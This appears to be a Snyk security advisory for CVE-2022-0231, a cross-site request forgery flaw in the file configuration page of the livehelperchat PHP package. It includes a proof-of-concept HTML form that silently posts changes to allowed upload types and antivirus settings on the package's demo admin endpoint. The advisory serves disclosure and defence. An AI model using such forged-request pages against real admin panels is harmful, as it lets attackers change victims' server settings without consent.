Cross-site Request Forgery (CSRF) Affecting remdex/livehelperchat package, versions >=0.0.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.07% (33rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-REMDEXLIVEHELPERCHAT-2385696
  • published27 Jan 2022
  • disclosed26 Jan 2022
  • creditUnknown

Introduced: 26 Jan 2022

CVE-2022-0231  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

remdex/livehelperchat is a package that offers live support for your website. Featuring web and desktop clients. Compatible Windows, Linux, Mac. Desktop client powered by QT. Supports mobile phones based on XMPP service providers (GTalk, Xabber, Mono etc.)

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) via a missing CSRF token validation server side in the File Configuration, allowing to omit the token from a request without reprecussions.

###PoC

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.livehelperchat.com/site_admin/file/configuration" method="POST">
      <input type="hidden" name="ActiveFileUploadUser" value="on" />
      <input type="hidden" name="ActiveFileUploadAdmin" value="on" />
      <input type="hidden" name="AllowedFileTypes" value="gif&#124;jpe&#63;g&#124;png&#124;zip&#124;rar&#124;xls&#124;doc&#124;docx&#124;xlsx&#124;pdf&#124;mp3" />
      <input type="hidden" name="AllowedFileTypesUser" value="gif&#124;jpe&#63;g&#124;png&#124;doc&#124;docx&#124;pdf&#124;mp3" />
      <input type="hidden" name="MaximumFileSize" value="2048" />
      <input type="hidden" name="ClamAVSocketPath" value="&#47;var&#47;run&#47;clamav&#47;clamd&#46;sock" />
      <input type="hidden" name="ClamAVSocketLength" value="20000" />
      <input type="hidden" name="soundMessagesOp" value="on" />
      <input type="hidden" name="soundLength" value="30" />
      <input type="hidden" name="mdays&#95;older" value="" />
      <input type="hidden" name="mdays&#95;older&#95;visitor" value="" />
      <input type="hidden" name="StoreFileConfiguration" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

References

CVSS Scores

version 3.1